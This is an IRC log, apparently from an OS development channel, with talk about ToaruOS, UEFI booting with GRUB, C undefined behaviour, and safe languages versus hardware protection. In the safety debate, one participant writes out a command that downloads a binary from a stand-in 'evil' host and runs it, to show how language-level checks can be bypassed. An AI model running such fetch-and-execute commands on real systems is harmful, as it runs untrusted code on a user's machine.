08:11:50 <johnjay> hmm maybe i'll check out the code for some ideas
08:11:57 <zid> good tip though: disable interrupts if you're doing this to clear your framebuffer else you get glitches :P
08:12:04 <johnjay> when an entire project is by one person the consistency and style is going to be very goo
08:12:06 <johnjay> *good
08:12:25 <klange> If you want to read code, check the NIH version - I've cleaned stuff up, and code-wise there's nothing interesting in the original that makes it any better (unless you want to learn how to use Cairo)
08:12:52 <klange> lol fuck no - there's a couple of things that have clean style and solid documentation, but the bulk of it's an ADHD mess
08:14:07 <yasar> klys, what is below 0x600?
08:14:25 <zid> 5FF
08:14:27 <zid> you're welcome
08:15:50 <klys> the BDA, see ralf brown's interrupt list, http://www.cs.cmu.edu/~ralf/files.html
08:15:50 <bslsk05> ​www.cs.cmu.edu: Ralf Brown's Files
08:16:28 <klange> Beware the first page, there lay dragons.
08:16:36 <johnjay> klange: what does it mean when it says toaru-nih will replace the core of toaru?
08:17:13 <klange> Eventually I will have all the same cool ports working against my own C library, the newlib version will disappear, and everything will be awesome.
08:17:54 <klange> My vision for the future of ToaruOS is that the CD you download is 100% my code - that's ToaruOS-NIH.
08:18:04 <geist> word
08:18:14 <johnjay> so toaruOS-nih is toaru but with your own libc?
08:18:20 <klange> It's already there, though I did sneak Python onto those releases for funsies.
08:18:49 <zid> klange: Will that CD be UEFI?
08:19:06 <klange> It is a hybrid disk, it will do EFI boot with my loader.
08:19:10 <zid> Does the .exe format that uses still have the little DOS stub in the header? :p
08:19:23 <klys> yes.
08:19:27 <zid> rip klange then
08:19:31 <zid> might as well delete the entire project
08:19:37 <zid> microsoft wrote that code
08:19:53 <klange> nah, someone at gnu wrote this version :)
08:20:01 <klys> copyright marcus zimmerman, I gather
08:20:05 <klange> strings fatbase/efi/boot/bootx64.efi | grep DOS → !This program cannot be run in DOS mode.
08:21:28 <johnjay> this bit about porting python libraries to c... what does that mean?
08:21:44 <klange> Mainline ToaruOS's desktop is mostly written in Python.
08:21:55 <johnjay> ah
08:21:57 <klange> It was a great demonstration of how Python was working and integrated with the window system.
08:22:02 <klange> And it was great for prototyping.
08:22:31 <klange> But those apps are slow, and they depend on Python, so if I want that 100% mine initial environment I either can't have those apps or they need to be rewritten in something I can run natively.
08:22:41 <zid> Should have used qbadic
08:22:43 <zid> qbasic
08:23:02 <klange> A key library that was Python that got rewritten in C was the menu library, which then allowed pure C apps like the terminal to have a menu bar.
08:23:27 <johnjay> in python's source tree there's a Lib folder for pycode and then a Modules folder for the stuff in C.
08:23:36 <johnjay> i'm trying to wrap my head around the idea of rewriting it all in C
08:23:50 <klange> Ah, no, you're thinking of the wrong thing.
08:23:54 <klange> I mean libraries I wrote in Python.
08:24:03 <johnjay> oh ok
08:24:31 <johnjay> meaning you want the apps of the basic system to be completely 100% your own, meaning no python
08:24:39 <klange> this library I wrote provides nested menus https://github.com/klange/toaruos/blob/master/userspace/py/lib/menu_bar.py
08:24:41 <bslsk05> ​github.com: toaruos/menu_bar.py at master · klange/toaruos · GitHub
08:24:57 <klange> Here it was rewritten in C: https://github.com/klange/toaru-nih/blob/master/lib/menu.c
08:24:59 <bslsk05> ​github.com: toaru-nih/menu.c at master · klange/toaru-nih · GitHub
08:28:55 <johnjay> ah i see, so for example me->new_x < entry->width becomes msg.new_x >= self.width in the python
08:35:44 <johnjay> damn i don't think i can build this under msys2
08:35:48 <johnjay> don't have genext2fs
08:37:21 <klys> he tells me it should be built on an ext4 partition
08:39:39 <johnjay> ah this image is pretty small, only takes 10 min to download the iso
08:39:50 <johnjay> (on my relatively slow connection)
08:41:47 <zid> No that's obscenely slow, not relatively slow :P
08:44:32 <johnjay> i wonder how much of the process of writing code is captured in building it up gradually
08:44:47 <johnjay> whereas with something like toaru or even linux it's already written
08:44:55 <johnjay> so trying to untangle everything gets tough
08:46:00 <johnjay> toaru-nih has 891 commits, toaru has 2844
08:48:42 <johnjay> "klange's OS Development Repo I'm writing an OS because I'm bored and want a massive project to suck up the little pieces of my time for the next few years."
08:49:28 <johnjay> the intial commit only has 8 files!
08:49:30 <johnjay> https://github.com/klange/toaruos/tree/ecd4fe2bc170b01ad700ff76c16da96993805355
08:49:32 <bslsk05> ​github.com: GitHub - klange/toaruos at ecd4fe2bc170b01ad700ff76c16da96993805355
08:56:10 <klange> Almost makes me miss uni.
09:03:59 <johnjay> someone in ##C is saying the for(;;); is bad and shoudl be asm. cli 1: hlt jmp 1b
09:04:26 <ekleog> for(;;); is UB
09:04:47 <ekleog> an unending loop without side-effect is UB
09:05:50 <johnjay> klange: where in the project does it produce a bootable iso?
09:06:17 <ekleog> a common technique is to do for(;;) __asm__ (""); (sometimes you add in that the __asm__ directive clobbers "memory", but I'm not sure whether that's actually required or not)
09:07:08 <johnjay> what is UB ekleog?
09:07:34 <ekleog> (you could also add said `hlt` into the __asm__ if you run in ring 0 and that's actually what you want)
09:07:45 <asymptotically> johnjay: here be dragons
09:07:56 <ekleog> UB is Undefined Behaviour, that you can also hear called “nasal monkeys”
09:08:22 <ekleog> https://blogs.msdn.microsoft.com/oldnewthing/20140627-00/?p=633/
09:08:25 <bslsk05> ​blogs.msdn.microsoft.com: Undefined behavior can result in time travel (among other things, but time travel is the funkiest) – The Old New Thing
09:09:45 <ekleog> (I have seen that time travel happen in practice with LLVM)
09:10:47 <ekleog> (with exactly the same for (;;); example, fwiw)
09:24:52 <klange> johnjay: in both mainline and nih, the makefile has the commands to produce the CD image
09:25:53 <klange> mainline uses grub-mkrescue, nih use xorriso to produce an el torito image w/ both multi-sector BIOS loader and EFI loaders
09:28:09 <burzos> In a NUMA architecture, processor A wants data that is stored on processor B's memchip, the data is not in processor A's cache; does A's request go to B's cache then to it's memchip, or straight to the memchip (after telling B to push the write)?
09:29:53 <klange> heh, went and pulled a newer freetype and its config.sub has -sortix*
09:31:49 <burzos> I guess the request goes to processor B, not it's memory controller. So it probably does a regular memory access and returns whatever it gets.
09:31:49 <zid> MEMCHIP
09:51:32 <klange> oh right, freetype has that new renderer I don't like and turn off with a big long envvar
09:51:40 <klange> good news: the envvar works :D
09:55:05 <klange> https://i.imgur.com/O1j6k5B.png
10:03:44 <izabera> why is the first line truncated?
10:07:04 <klange> that is the wrong question, the right question is "why did the right side of the prompt not draw"
10:08:03 <klange> seems I have a rendering issue with ^L
10:12:22 <klange> Ah, I see.
10:12:38 <klange> return; that should have been a break, holdover from bim
10:35:37 <izabera> i'm sorry for reporting a bug in a way that upset you
10:39:10 <klange> ?
10:55:30 <klange> some hoop jumping to get libtool to produce a shared object, but pixman builds https://i.imgur.com/6CkCwwQ.png
11:02:49 <izabera> klange: now only one thing is missing in toaru
11:25:25 <klange> cairo wants a lot of math I don't have
11:35:41 <klange> https://i.imgur.com/sqGDtZ5.png (hint: that's not what it's supposed to look like)
12:15:51 <Mutabah> klange: Does look cool though
12:37:08 <klange> x87-backed tan() was sufficient https://i.imgur.com/T7LCZIc.png
12:39:05 <klange> reference for correct rendering: https://cairographics.org/samples/fill_style/
12:39:06 <bslsk05> ​cairographics.org: fill style
12:58:13 <klange> time to figure out how to hack up my compositor so it can support different backends...
12:58:38 <zid> Can you have the frontend of a person and backend of a horse?
12:58:56 <zid> Then you could be MinotaurOS
01:07:08 <oo_miguel> Hmm If I am using grub will my kernel require any adaption to boot on a UEFI system?
01:14:26 <klange> if you use grub on the UEFI system, no
01:15:44 <oo_miguel> klange: will acpi table be present as on a legacy bios?
01:15:47 <oo_miguel> tables
01:16:05 <zid> welp, tried everything, officially blaming this SD adapater and getting my 97p back. What a waste of an hour or two.
01:16:16 <oo_miguel> (I admit I have almost not understanding about the differences between legacy BIOS and UEFI)
01:39:58 <zid> wow
01:40:20 <zid> remember that rak guy from the past couple of days who couldn't figure out how to load stuff, what an elf file was, etc?
01:40:28 <zid> <rakesh4545> hello I want to learn how to load an efi file to the memory using an assembly program. I am creating a bootloader.
01:40:34 <zid> just now in a diff channel
01:43:44 <glauxosdever> Which channel (as in, is that channel even relevant to bootloading)?
01:44:00 <zid> ##asm, that's all the context he gave too
01:44:27 <glauxosdever> Ok, it is relevant
01:44:40 <zid> not in the least
01:44:50 <Mutabah> Approximately releveant maybe
01:45:04 <zid> bt still unanswerable, and I think he means elf anyway
01:45:20 <glauxosdever> I mean, assembly programmers like to program on bare bones
01:45:36 <glauxosdever> *bare metal
01:45:39 <glauxosdever> Or whatever
02:02:45 <oo_miguel> hmmm I managed to boot my kernel with grub on a (vbox) uefi system, and it seems to work fine (According to my logs that go to com1)... but i do not see anything in text-mode. AND framebuffer mode does not start at all telling me: erro: no suitable video mode found.
02:03:47 <klange> UEFI doesn't get you text mode
02:04:23 <klange> It'll leave you in whatever state EFI was in, which is probably graphical.
02:04:36 <klange> Or I suppose grub might do something different?
02:04:43 <oo_miguel> klange: yeah I suspected this. however I also feature framebuffer mode, but grub seems to tell me that no suitable mode was found
02:05:05 <klange> You may have asked for a weird one.
02:05:07 <klange> What are you asking for?
02:05:29 <oo_miguel> you already answered one of my questions. text mode will not work in UEFI.
02:05:41 <oo_miguel> the other one is how to tell grub to switch to a graphx mode then
02:05:55 <oo_miguel> I do it with: set gfxpayload for non-UEFI
02:05:57 <oo_miguel> where it works fine
02:06:23 <glauxosdever> Maybe try with the multiboot header?
02:06:44 <oo_miguel> ok, maybe I will jsut skip the gfxpayload alltogether
02:06:46 <oo_miguel> just
02:06:53 <oo_miguel> and put it in the header
02:07:01 <oo_miguel> glauxosdever: thanks for the suggestion
02:07:35 <glauxosdever> (I don't know if it will work or it will be the same, but it's probably worth trying it another way)
02:08:17 <oo_miguel> glauxosdever: it gives me the same...
02:08:26 <oo_miguel> I have 640x480x32 in the header
02:08:43 <oo_miguel> not sure WHO writes this message: 'no suitable mode' found
02:08:50 <oo_miguel> I suppose it is grub itself right?
02:09:27 <glauxosdever> Try 640x480x24 (might be one of the weird ones)
02:09:54 <Mutabah> or 0x0x24 (iirc zero tells grub you don't care)
02:14:41 <oo_miguel> I keep seeing this message, nut the kernel seems to run underneath
02:16:16 <oo_miguel> what might be interesting is, that grub's videoinfo gives me an empty list
02:16:24 <oo_miguel> the 'videoinfo' command
02:16:42 <glauxosdever> Does it work on other UEFI machines?
02:16:57 <oo_miguel> glauxosdever: I do not know
02:17:20 <oo_miguel> I wanted to boot on my desk and realized that it requiers UEFI, thats why I started it alltogether
02:17:31 <oo_miguel> it worked fine on my laptops which seem to be non-uefi
02:17:52 <oo_miguel> now I wanted to get it work in virtual box with the "EFI mode" checkbox checked
02:18:08 <oo_miguel> but I can try on my real computer as well, will have to reboot however
02:18:23 <glauxosdever> Try QEMU with Tianocore OVMF
02:19:55 <glauxosdever> And yes, virtualbox too (I delayed the last message trying to see if it's indeed called "OVMF" and I disregarded your last two ones, sorry)
02:22:05 <oo_miguel> Ill try on my real desk (which is in fact the only reason why I started to care about UEFI)
02:22:12 <oo_miguel> brb
02:48:06 <lachlan_s> Something I've noticed a lack in is programming languages that derive safety from the design on the language alone.
02:48:21 <lachlan_s> Yet, still run in a vm
02:48:35 <lachlan_s> Okay, maybe that's not clear
02:48:40 <zid> clear as mud
02:48:46 <zid> I was with you until 'alone'
02:52:03 <lachlan_s> basically, what I meant was that there should be languages that, though a very strict type system, can be verified (proven or not) to be safe and thus, can be directly compiled and executed without worrying about the protections that they're being run in.
02:52:42 <lachlan_s> Webassembly is all and good, but it misses out on the type system and thus will never be as performant as it could be in this situation.
02:53:03 <lachlan_s> Rust is fine sure, but it supports unsafe code.
02:55:27 <lachlan_s> And there
02:55:40 <glauxosdever> Not everything can be safe. Sometimes you are programming on a platform that has specific devices at specific addresses. See, for example, the infamous text mode at 0x000B8000. How does the compiler verify the address is correct? What if the programmer accidentally writes 0x0008B000?
02:55:53 <glauxosdever> But most things that can be safe should be safe
02:56:02 <lachlan_s> In a language such as the one I'm describing, pointers would not exist
02:56:20 <zid> which makes them slow
02:56:23 <lachlan_s> If you need to write a driver, you'd either use an unsafe superset, or use another language
02:56:39 <zid> If we could formally verify locking etc we wouldn't need locking bugs
02:56:47 <zid> we'd just ask it to add the right locks for us
02:56:56 <lachlan_s> Well, references would exist for instance
02:57:01 <lachlan_s> Maybe a borrow checker
02:57:20 <glauxosdever> And IPC too. This is a shared resource. Who is supposed to close/free it?
02:57:58 <zid> formal langs are only as good as the formal specification of what the code is SUPPOSED to do, which is almost always the source of bugs
02:58:05 <lachlan_s> That's the beauty of it, with a strict type system, you could just move a value out of your code and into another
02:58:07 <zid> the programmer misunderstanding what was required to make the code safe to begin with
02:58:15 <lachlan_s> Whoever owns the value is responsible for freeing it
02:58:55 <lachlan_s> zid: That's true
02:59:06 <lachlan_s> I don't think one of these has ever been really successful
02:59:24 <lachlan_s> But software bugs are just bugs and can be fixed
02:59:30 <glauxosdever> On the other side, buffer overflows could be prevented. Same with divisions by zero.
02:59:52 <lachlan_s> Buffer overflows, use after frees, actually concurrency bugs could be avoided too
03:00:23 <glauxosdever> I wouldn't be so sure about "use after free"
03:00:37 <glauxosdever> Or memory leaks
03:00:46 <yrlf> Architectures could really do better with restricting access on the hardware level.
03:00:46 <yrlf> For example storing return-addresses on a seperate "secure stack" that can't be addressed would fix ROP
03:00:47 <VegetableLasagna> Well, all bugs could be avoided with formal verification (but you need the specification to be correct). It's quite expensive.
03:01:15 <yrlf> but hardware fixes usually come with some performance penalties
03:01:26 <lachlan_s> Use after free could definitely be avoided by the type system consuming values when they're freed
03:01:34 <lachlan_s> Memory leaks maybe not
03:01:40 <lachlan_s> But those aren't as bad
03:02:29 <glauxosdever> for (size_t i = 0; i < 256; i++) { ... temp = malloc(...); ... }
03:02:34 <yrlf> Leaking memory was purposely defined as "safe" in Rust because they couldn't make a useful system that is incapable of leaking memory
03:02:58 <yrlf> simplest example: owned heap memory in a reference cycle
03:03:09 <lachlan_s> That's why they did it, I believe.
03:03:25 <lachlan_s> You could safely make a refcell cycle so they made `mem::forget` safe as well
03:03:37 <yrlf> yuo
03:03:39 <yrlf> *yup
03:04:01 <lachlan_s> If a process uses too much memory, you can just kill it
03:04:19 <yrlf> small nitpick: Rc is not a RefCell, it's reference counted. RefCell is runtime borrowchecking
03:04:34 <lachlan_s> Memory leaks are annoying and it may have a negative affect on system performance, but not disastrous.
03:04:42 <lachlan_s> yrlf: Yep, you're right, my bad
03:04:55 <yrlf> no problem, everyone makes mistakes :)
03:05:31 <yrlf> things like reading uninitialized memory or use after free, or buffer overruns are much more pressing problems
03:05:53 <lachlan_s> ^
03:06:13 <glauxosdever> How does the compiler know the EFI System Table contains initialised memory though?
03:06:19 <klange> VegetableLasagna: Unfortunately, I'm just as likely to write the spec incorrectly as the code :)
03:06:20 <yrlf> I really like how you can eliminate many race condition problems and "who is allowed to free this" with a strict ownership model, but things like doubly linked lists become hard to implement then
03:06:46 <lachlan_s> You can do something like what rust did
03:06:56 <yrlf> glauxosdever: that's low-level stuff, you should be able to say to the compiler "I define this area as initialized" (in an unsafe block)
03:07:17 <lachlan_s> All the programs that you run must be completely safe, but the os supplies a standard library that necessarily contains unsafe code.
03:07:27 <yrlf> you always need an escape hatch in system-level software
03:07:52 <yrlf> lachlan_s: safe abstractions are such a great thing
03:07:58 <glauxosdever> Unsafe blocks can still be abused though
03:08:02 <lachlan_s> Or, you could run unsafe code if you have a high-enough privilege.
03:08:15 <lachlan_s> You make sure that they can't and if they can, you fix the bug.
03:10:12 <yrlf> if you have safe abstractions for all hardware features that would otherwise need unsafe code, and for all useful stdlib patterns that need to be built using unsafe, you can "ban" unsafe code for unprivileged user-level packages, and have binaries be signed in some way
03:10:38 <lachlan_s> They don't even need to be signed, they could just be checked for unsafe code before being compiled and run
03:11:05 <yrlf> Yeah, but if you can just create a binary file and mark it as executable, that doesn't net you anything
03:11:34 <yrlf> curl evil.url/binary.elf > evil-binary.elf; chmod +x evil-binary; ./evil-binary
03:11:43 <lachlan_s> Oh, I was thinking it would compile to a bytecode of some sort that is effectively a binary version of the source code
03:12:03 <zid> you just invented .net, fwiw
03:12:09 <yrlf> much too inefficient. The compiler needs to do unsafe stuff anyway
03:12:12 <lachlan_s> Without garbage collection
03:12:15 <yrlf> @zid: you're right ^^
03:12:35 <yrlf> lachlan_s: having a safe VM without GC would be a cool project
03:12:41 <glauxosdever> Right. That's where the OS needs to protect itself. But I assumed safe languages are to protect the programs themselves
03:12:48 <lachlan_s> Both I would say
03:13:01 <lachlan_s> You can run safe languages without any hardware protections
03:13:17 <lachlan_s> Pass around references to raw memory safely, etc
03:13:17 <yrlf> usually both. It's the "walled castle" approach to security
03:13:39 <yrlf> if people get through the moat, there's still the castle wall, and then the building walls inside the castle
03:14:10 <lachlan_s> yrlf: I've actually been working on a project like this for about 6 months
03:14:31 <lachlan_s> It runs wasm though, which is honestly not a great "language" for this use case
03:16:19 <lachlan_s> But honestly, design a language like this, make a vm that it can run in, write a few transpilers for it (js -> this language, etc) and you're golden.
03:16:28 <lachlan_s> Instant mind share
03:17:18 <bcos_> Except for that to get acceptable performance everyone is going to run native libraries or extensions and bypass your security barriers
03:17:20 <glauxosdever> I think we can define two kinds of bad for security software: unsafe, which may allow a malicious user manipulate it so it does unexpected things; and malicious, which attacks the OS and/or other programs. A safe language can help with the first (few people actually write unsafe software on purpose without also being malicious), but it can't help with the second, as a malicious programmer can still
03:17:26 <glauxosdever> bypass all of the security features of the language or even use a different language
03:18:01 <glauxosdever> So, the language should deal with the former, and the OS with the latter
03:18:14 <lachlan_s> bcos_: Hopefully not, the language would run at the same performance as a native extension.
03:18:40 <yrlf> lachlan_s: then you need a good compiler or JIT
03:18:44 <yrlf> which is hard
03:18:50 <lachlan_s> glauxosdever: The aim would be to fix both with one stone, so to speak.
03:19:08 <lachlan_s> yrlf: welllll
03:19:16 <yrlf> there are also multiple levels of malicious:
03:19:28 <lachlan_s> The compiler is pretty decent currently, and it's only going to get better.
03:19:56 <yrlf> trying to circumvent kernel/system security measures, or just doing nonsensical application things -- like logging in without a password --
03:20:33 <lachlan_s> Mozilla is working on it for some of their stuff and it'll eventually reach performance equivalence with llvm/gcc
03:20:47 <yrlf> lachlan_s: which compiler? I was talking about the "safe GC-less vm-based language", which sounds new
03:20:54 <bcos_> lachlan_s: It doesn't work like that. For "below average" performance normal code is fine. For "slightly better than average" performance you need to hand-tune assembly; and for optimum performance you need to be able to use self-modifying or dynamically generated code. "Safe" languages can't allow you to do the last 2 things
03:20:57 <yrlf> oh, so mozilla is making a wasm JIT?
03:21:16 <lachlan_s> yrlf: https://github.com/CraneStation/cranelift
03:21:16 <bslsk05> ​CraneStation/cranelift - Cranelift code generator (formerly, Cretonne) (90 forks/947 watchers)
03:21:26 <lachlan_s> bcos_: That's a good point.
03:21:33 <yrlf> @bcos_ your speculative execution engine is not gonna like self-modifying code
03:21:52 <lachlan_s> I'm not sure how to get around that.
03:22:18 <lachlan_s> To be fair, we already see compilers beating hand-written assembly in most cases.
03:22:43 <lachlan_s> And a strong typesystem allows for optimizing based on strict aliasing
03:22:45 <bcos_> yrlf: Usually there's a setup/initialisation that prepares the code then no modification while it's being run, so there's no penalty
03:23:07 <yrlf> It's really not a simple problem. We've all spend decades optimizing for the common case in multiple layers of abstraction. Optimizing a higher layer might make the code harder to optimize on a lower layer
03:23:26 <yrlf> lachlan_s: +1 for strong typesystem
03:23:38 <lachlan_s> There's been some work done recently on superoptimzing compilers
03:23:56 <bcos_> lachlan_s: It's impossible for a compiler to beat hand-written assembly because an assembly language programmer can use the compiler generated code as a starting point
03:24:51 <bcos_> (the best a compiler can ever do is match hand-written assembly)
03:25:03 <zid> compilers are pretty religious about using the calling convention
03:25:08 <yrlf> @bcos_: it IS generally possible, but not on todays architectures. the problem is that most current architectures are complex enough that enumerating all possible ways to do something and choosing the best is not possible
03:25:08 <lachlan_s> https://en.wikipedia.org/wiki/Superoptimization can beat hand-written assembly by coming up with instruction sequences that are perhaps unintuitive
03:25:08 <bslsk05> ​en.wikipedia.org: Superoptimization - Wikipedia
03:25:12 <zid> which slows them down a fair amount
03:25:34 <glauxosdever> lachlan_s: I'm not really sure about that, I don't think it's possible to fix both with a single solution. The safe language is "opt-in" and "recommended" but not mandatory. So someone can still use C and write unsafe code. On the other side, everyone doing malicious things would not use the safe language
03:26:31 <olsner> malicious code can benefit from avoiding bugs as much as benevolent code
03:26:42 <lachlan_s> What about something like javascript/typescript on the server?
03:26:45 <glauxosdever> Yes, that's true too
03:26:55 <glauxosdever> So it solves nothing in this case
03:27:18 <bcos_> yrlf: Again; an assembly language programmer can take the output of a superoptimiser as their starting point
03:27:20 <lachlan_s> That's not required by any means, but people do it because it's safer (and easier in a lot of cases)
03:27:36 <lachlan_s> bcos_: That's true, but these days, how often do people do that?
03:27:58 <yrlf> @bcos_: if the arch is simple enough a good superoptimizer can find the 100% optimal asm.
03:28:10 <yrlf> if there is no better option, a human cannot find "a better one"
03:28:27 <bcos_> Given that superoptimisers are too expensive and are never used (other than generating data for peephole optimisers), nobody does it now because nobody can do it now
03:28:46 <glauxosdever> And then someone runs an unsafe program. How does a safe language prevent this one? It's the OS's responsibility now..
03:28:57 <bcos_> yrlf: If an arch is simple enough, performance will always be shit
03:29:15 <lachlan_s> There was a very interesting paper recently about optimizing compilers: https://arxiv.org/pdf/1809.02161.pdf
03:29:52 <lachlan_s> glauxosdever: Say you can't run an unsafe program on your os
03:30:16 <lachlan_s> Or, the unsafe program is slower because it has to be run with hardware protections and more safety checks
03:30:18 <glauxosdever> Oops, meant malicious there
03:31:20 <lachlan_s> Ah, in that case, the safety of the language may help somewhat, but yes, it's up to user privileges/etc to protect against that.
03:31:52 <yrlf> @bcos_: that's not the problem I was describing. For complex enough architectures, the optimization space is too big for general algorithms, yes. But we can see that the idea works for a smaller optimization space
03:32:10 <lachlan_s> For example, you could use the type system to make it impossible for a insufficiently privileged process to represent the act of doing specific malicious things.
03:32:24 <bcos_> lachlan_s: From the paper you linked to "Taken together, these factors seem to make compiler bugs a fact of life. ". What this means is that safe code in a safe language becomes a security vulnerability because of bugs in your compiler.
03:32:48 <yrlf> lachlan_s: so if you can prove some program never touches invalid stuff, you could just run it in Ring 0?
03:32:58 <lachlan_s> yrlf: Assuming no compiler bugs :P
03:33:18 <yrlf> I figured that would be the main attack vector on such a system
03:33:19 <bcos_> yrlf: Yes; and for a small optimisation space you have a CPU where performance sucks for everything regardless of how you optimise
03:33:30 <yrlf> either the compiler codegen or the "safety check" algorithm
03:33:59 <lachlan_s> bcos_: Yeah, I can't help that. They're completely right, but when you run into a bug, you fix it.
03:34:02 <bcos_> yrlf: You only need to look at RISC CPUs to see this - most died and those that survived were "CISC-ificated"
03:34:02 <lachlan_s> When was the last time you ran into a codegen bug?
03:34:03 <yrlf> @bcos_: it might suck, but you can find the code that sucks the least :P
03:35:08 <yrlf> @bcos_: completely RISC architectures are not easy to optimize for. You don't really see what's happening if you look at individual instructions.
03:35:37 <yrlf> the best take would probably havin CISC control-flow and RISC data move or arithmetic
03:35:43 <lachlan_s> Maybe this would be best for vliw processors?
03:35:54 <lachlan_s> Where hand-written assembly would be quite difficult.
03:36:26 <yrlf> lachlan_s: VLIWs are really cool for a superoptimizer to solve for. Keeping in your head which ops are in flight and retire when is a nightmare
03:36:44 <lachlan_s> Exactly
03:36:56 <lachlan_s> Haha, when they exist, that is :)
03:37:05 <bcos_> Except that VLIW has been tried and failed because nobody can write a compiler that can optimsie for it
03:37:09 <bcos_> (e.g. Itanium)
03:37:19 <yrlf> the idea of having a general ISA with CISC control flow and RISC-like data manipulation in a VLIW-like environment is exactly what the Mill trie(s/d) to do
03:37:31 <yrlf> that is if they ever produce non-vaporware
03:37:46 <bcos_> Heh - you can't fail if you don't release it.. ;-)
03:37:46 <lachlan_s> bcos_: Yeah, that's true.
03:37:51 <lachlan_s> ^
03:38:33 <bcos_> (but there are parts of Mill that are unique - the way they do memory management and caching is inspired)
03:38:43 <yrlf> writing a compiler for VLIWs is hard, but it can be done. The problems there are things that computers are generally better at than humans.
03:38:55 <lachlan_s> And there has been a lot of compiler research since then
03:38:57 <yrlf> the problem is trying to shoe-horn it into existing infrastructure
03:39:22 <yrlf> GCC and LLVM very very strongly assume that you use a register-based or similar architecture
03:39:37 <lachlan_s> Which is great for when you're making a new compiler
03:39:49 <yrlf> and some optimizations are just shooting yourself in the foot if you try to compile for VLIW
03:40:25 <bcos_> The main problem is that VLIW expects "something" (compiler) to know how long instructions will take in advance; but the reality is that things like cache contents and IRQs are practically impossible to know and that makes it impossible for anyone to guess how long most instructions will take
03:40:26 <yrlf> yeah, but no commercial company has enough stockpiled money and ever wants to invest in making all-new compiler infrastructure for that
03:41:26 <lachlan_s> bcos_: What if you could define specific points during execution that irqs could take place.
03:41:28 <yrlf> @bcos_: which is why you need things like deferred loads (saying "I want this load result 10 instructions from now because I have that much to do in the meantime")
03:41:38 <yrlf> after that you stall anyway
03:41:38 <bcos_> For an example, take something like "x = *myPointer;" and try to figure out if there will be a TLB miss or cache miss (or if it's been speculatively prefetched or...)
03:42:08 <yrlf> IRQs are a problem in every architecture. Maybe less so if you are out of order
03:42:29 <yrlf> but OOO is massively power-hungry
03:43:15 <bcos_> Everything that makes single-threaded code faster is power hungry (and OOO is less power hungry than doubling clock to 10 GHz)
03:44:29 <yrlf> few things can beat manually pipelined VLIW code on a system with a very specific set of things to do
03:44:43 <bcos_> The best solution (for performance per watt) is to pretend that all software is embarrisingly parallel and that Amdahl's law doesn't exist (e.g. lots of weak cores)
03:47:22 <lachlan_s> I mean, there are probably ways to parallelize code that is written to be single-threaded
03:48:06 <lachlan_s> Like automatically make loops parallel in cases where it would improve performance
03:48:34 <bcos_> Heh - compilers have been trying to do that for 2 decades now
03:49:05 <bcos_> ..they can't even do SIMD properly
03:49:24 <lachlan_s> Alas, the case of a sufficiently advanced compiler
03:50:25 <lachlan_s> A sufficiently advanced compiler should just be able to read my mind and make the computer do what I want.
03:50:37 <lachlan_s> /s
03:50:46 <yrlf> "sufficiently advanced technology is indistinguishable from magic"
03:51:52 <lachlan_s> a sufficiently advanced compiler is actually magic
03:57:05 <lachlan_s> It would be fun to do research on what we were talking about above.
03:57:27 <lachlan_s> > having a safe VM without GC would be a cool project
03:58:43 <johnjay> hmm aren't they already on a 7nm process for cpus now
03:58:51 <johnjay> so we're hitting the upper limit of what's physically possible for sillicon
03:59:00 <lachlan_s> Yes.
03:59:14 <lachlan_s> I think apple hit 7nm with their new processors.
04:11:05 <lachlan_s> Hmmm, maybe it's time to put down nebulet and look into a gc-less vm as a project.
05:05:59 <johnjay> lachlan_s: do you think if a programming book is good but its code doesn't compile
05:06:02 <johnjay> can it still be useful?
05:08:26 <lachlan_s> johnjay: I'd say probably not, but depends on the book.
05:09:01 <johnjay> sure. like if c was replaced with idk C& or C$# tomorrow the original K&R c might still be good
05:09:15 <johnjay> but it's like... idk telling me how to drive a car, but not letting me have a ar?
05:09:16 <johnjay> *car
05:09:20 <lachlan_s> Depends on if the reason for the code not compiling is because they never tested it or because it's an older version of the language.
05:09:39 <johnjay> which one is worse
05:09:48 <lachlan_s> Not testing it.
05:11:30 <johnjay> makes sense
05:11:53 <johnjay> on the other hand you could change compilers or something too
05:12:03 <johnjay> and then suddenly there's a few errors the other one didn't have
06:07:21 * geist yawns
06:08:26 <_mjg> dude
06:09:17 <rain1> shikhin: hello
06:09:21 <rain1> oops sorry shikhin!
06:09:28 <rain1> i don't know why it targetted you
06:09:31 <rain1> hello #osdev
06:10:16 <rain1> i built a UEFI hello world but i was not able to boot it
06:10:24 <rain1> not sure what to do
06:10:50 <lachlan_s> Oh hey geist
06:11:07 <rain1> https://bpaste.net/show/7a7c54b9296d
06:11:08 <bslsk05> ​bpaste.net: show at bpaste
06:11:10 <rain1> this is the code and build script
06:11:15 <rain1> do you notice any problems?
06:11:46 <rain1> it creates BOOTX64.EFI which i made a FAT32 image with and then converted to an iso to try to boot in qemu with tianocore UEFI bios
06:13:34 <rain1> see I use a different triple for CC than LD
06:15:06 <geist> hola
06:17:35 <oo_miguel> uff, I finally managed booting virtual box and my real desktop in uefi mode. however on my real hardware, my usb keyboard does not work. (It works however in bios legacy mode) . In virtual box the keyboard works in both modes. Does the virtual box emulate a ps2 keyboard in both modes. and my real bios in legacy mode does the same?
06:18:27 <oo_miguel> and does it mean that I would need an usb stack to use my keyboard on real hardware in uefi mode?
06:20:22 <geist> depends. look at the setup of virtual box
06:20:31 <geist> i dont think it always picks a ps2 keyboard, sometimes it does usb
06:20:39 <oo_miguel> there is a ps/2 mouse option
06:20:43 <geist> the defaults are the OS family
06:20:55 <oo_miguel> ah and i disabled usb alltogether in virtualbox
06:20:56 <geist> ah, doens't have a checkbox for keyboard?
06:21:04 <oo_miguel> I did not see one
06:21:06 <geist> i figured the keyboard followed the mouse option
06:21:17 <geist> when in doubt install linux on one or something so you can see what linux sees
06:21:40 <oo_miguel> geist: good idea
06:22:58 <lachlan_s> Does uefi provide a memory map?
06:23:15 <oo_miguel> i get it from multiboot
06:23:35 <oo_miguel> from grub
06:24:02 <geist> yes, uefi has a memory map
06:24:11 <geist> similar to e820, it's pretty verbose
06:24:38 <geist> grub-efi is almost certainly taking the uefi memory map and massaging it into multiboot format
06:25:44 <lachlan_s> Ah, interesting.
06:26:32 <lachlan_s> Is it terribly difficult to convert an os to use uefi? Other than the vga buffer, is anything different?
06:29:10 <lachlan_s> Oh, sweet, looks like it'd be helpful to switch to it
06:44:56 <johnjay> lachlan_s: what os are you working on?
06:44:59 <johnjay> lachOS?
06:47:16 <rain1> anybody with efi experience able to help me?
07:00:04 <yasar> Is there a way to create bootable iso file like grub mkrescue does, without using grub?
07:00:34 <glauxosdever> Try xorriso
07:01:07 <glauxosdever> In fact, grub mkrescue uses xorriso as a backend
